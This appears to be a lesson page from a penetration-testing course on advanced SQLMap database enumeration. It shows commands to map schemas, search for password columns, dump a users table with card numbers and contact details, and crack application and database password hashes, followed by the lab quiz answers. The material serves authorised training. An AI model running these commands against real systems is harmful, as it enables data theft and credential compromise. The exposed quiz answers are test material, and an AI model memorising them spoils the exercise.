Advanced Database Enumeration

Now that we have covered the basics of database enumeration with SQLMap, we will cover more advanced techniques to enumerate data of interest further in this section.

DB Schema Enumeration

If we wanted to retrieve the structure of all of the tables so that we can have a complete overview of the database architecture, we could use the switch `--schema`:

Advanced Database Enumeration

```
MisaelMacias@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --schema

...SNIP...
Database: master
Table: log
[3 columns]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| date   | datetime    |
| agent  | varchar(512) |
| id     | int(11)     |
+--------+-------------+

Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+
...
Database: testdb
Table: data
[2 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| content | blob    |
| id      | int(11) |
+---------+---------+

Database: testdb
Table: users
[3 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| id      | int(11)      |
| name    | varchar(500) |
| surname | varchar(1000) |
+---------+--------------+
```

Searching for Data

When dealing with complex database structures with numerous tables and columns, we can search for databases, tables, and columns of interest, by using the `--search` option. This option enables us to search for identifier names by using the `LIKE` operator. For example, if we are looking for all of the table names containing the keyword `user`, we can run SQLMap as follows:

Advanced Database Enumeration

```
MisaelMacias@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --search -T user

...SNIP...
[14:24:19] [INFO] searching tables LIKE 'user'
Database: testdb
[1 table]
+----------------+
| users          |
+----------------+

Database: master
[1 table]
+----------------+
| users          |
+----------------+

Database: information_schema
[1 table]
+----------------+
| USER_PRIVILEGES |
+----------------+

Database: mysql
[1 table]
+----------------+
| user           |
+----------------+

do you want to dump found table(s) entries? [Y/n]
...SNIP...
```

In the above example, we can immediately spot a couple of interesting data retrieval targets based on these search results. We could also have tried to search for all column names based on a specific keyword (e.g. `pass`):

Cheat Sheet

Go to Questions

Table of Contents

Getting Started

SQLMap Overview

Getting Started with SQLMap

SQLMap Output Description

Building Attacks

Running SQLMap on an HTTP Request

Handling SQLMap Errors

Attack Tuning

Database Enumeration

Database Enumeration

Advanced Database Enumeration

Advanced SQLMap Usage

Bypassing Web Application Protections

OS Exploitation

Skills Assessment

Skills Assessment

My Workstation

OFFLINE

Start Instance

∞ / 1 spawns left

Advanced Database Enumeration

```
MisaelMacias@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --search -C pass

...SNIP...
columns LIKE 'pass' were found in the following databases:
Database: owasp10
Table: accounts
[1 column]
+----------+------+
| Column   | Type |
+----------+------+
| password | text |
+----------+------+

Database: master
Table: users
[1 column]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| password | varchar(512) |
+----------+--------------+

Database: mysql
Table: user
[1 column]
+----------+----------+
| Column   | Type     |
+----------+----------+
| Password | char(41) |
+----------+----------+

Database: mysql
Table: servers
[1 column]
+----------+----------+
| Column   | Type     |
+----------+----------+
| Password | char(64) |
+----------+----------+
```

Password Enumeration and Cracking

Once we identify a table containing passwords (e.g. `master.users`), we can retrieve that table with the `-T` option, as previously shown:

Advanced Database Enumeration

```
MisaelMacias@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --dump -D master -T users

...SNIP...
[14:31:41] [INFO] fetching columns for table 'users' in database 'master'
[14:31:41] [INFO] fetching entries for table 'users' in database 'master'
[14:31:41] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N

do you want to crack them via a dictionary-based attack? [Y/n/q] Y

[14:31:41] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/local/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[14:31:41] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N

[14:31:41] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[14:31:41] [INFO] starting 8 processes
[14:31:41] [INFO] cracked password '05adrian' for hash '70f361f8a1c9035a1d972a209ec5e8b726d1055e'
[14:31:41] [INFO] cracked password '1201Hunt' for hash 'df692aa944eb45737f0b3b3ef906f8372a3834e9'
...SNIP...
[14:31:47] [INFO] cracked password 'Zc1uowqg6' for hash '0ff476c2676a2e5f172fe568110552f2e910c917'
Database: master
Table: users
[32 entries]
+----+------------------+-------------------+----------------------------+--------------+------------------------+---
| id | cc               | name              | email                      | phone        | address                | bi
+----+------------------+-------------------+----------------------------+--------------+------------------------+---
| 1  | 5387278172507117 | Maynard Rice      | MaynardMRice@yahoo.com     | 281-559-0172 | 1698 Bird Spring Lane  | Ma
| 2  | 4539475107874477 | Julio Thomas      | JulioWThomas@gmail.com     | 973-426-5961 | 1207 Granville Lane    | Fe
| 3  | 4716522746974567 | Kenneth Maloney   | KennethTMaloney@gmail.com  | 954-617-0424 | 2811 Kenwood Place     | Ma
| 4  | 4929811432072262 | Gregory Stumbaugh | GregoryBStumbaugh@yahoo.com| 410-680-5653 | 1641 Marshall Street   | Ma
| 5  | 4539646911423277 | Bobby Granger     | BobbyJGranger@gmail.com    | 212-696-1812 | 4510 Shinn Street      | De
| 6  | 5143241665092174 | Kimberly Wright   | KimberlyMWright@gmail.com  | 440-232-3739 | 3136 Ralph Drive       | Ju
| 7  | 5503989023993848 | Dean Harper       | DeanLHarper@yahoo.com      | 440-847-8376 | 3766 Flynn Street      | Fe
| 8  | 4556586478396094 | Gabriela Waite    | GabrielaRWaite@msn.com     | 732-638-1529 | 2459 Webster Street    | De
```

We can see in the previous example that SQLMap has automatic password hashes cracking capabilities. Upon retrieving any value that resembles a known hash format, SQLMap prompts us to perform a dictionary-based attack on the found hashes.

Hash cracking attacks are performed in a multi-processing manner, based on the number of cores available on the user's computer. Currently, there is an implemented support for cracking 31 different types of hash algorithms, with an included dictionary containing 1.4 million entries (compiled over the years with most common entries appearing in publicly available password leaks). Thus, if a password hash is not randomly chosen, there is a good probability that SQLMap will automatically crack it.

DB Users Password Enumeration and Cracking

Apart from user credentials found in DB tables, we can also attempt to dump the content of system tables containing database-specific credentials (e.g., connection credentials). To ease the whole process, SQLMap has a special switch `--passwords` designed especially for such a task:

Advanced Database Enumeration

```
MisaelMacias@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --passwords --batch

...SNIP...
[14:25:20] [INFO] fetching database users password hashes
[14:25:20] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved numbe
[14:25:20] [INFO] retrieved: 'root'
[14:25:20] [INFO] retrieved: 'root'
[14:25:20] [INFO] retrieved: 'root'
```

```
[14:25:20] [INFO] retrieved: 'debian-sys-maint'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N

do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y

[14:25:20] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/local/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[14:25:20] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N

[14:25:20] [INFO] starting dictionary-based cracking (mysql_passwd)
[14:25:20] [INFO] starting 8 processes
[14:25:26] [INFO] cracked password 'testpass' for user 'root'
database management system users password hashes:

[*] debian-sys-maint [1]:
    password hash: *6B2C58EABD91C1776DA223B088B601604F898847
[*] root [1]:
    password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
    clear-text password: testpass

[14:25:28] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/www.example.com'

[*] ending @ 14:25:28 /2020-09-18/
```

Tip: The '--all' switch in combination with the '--batch' switch, will automa(g)ically do the whole enumeration process on the target itself, and provide the entire enumeration details.

This basically means that everything accessible will be retrieved, potentially running for a very long time. We will need to find the data of interest in the output files manually.

Connect to Pwnbox
Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

UK 164ms

Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

Enable step-by-step solutions for all questions

Questions

Answer the question(s) below to complete this Section and earn cubes!

Cheat Sheet

Target(s): Click here to spawn the target system!

+1 What's the name of the column containing "style" in it's name? (Case #1)

PARAMETER_STYLE

Submit Hint

+1 What's the Kimberly user's password? (Case #1)

Enlzoom1609

Submit

Previous Next

Mark Complete & Next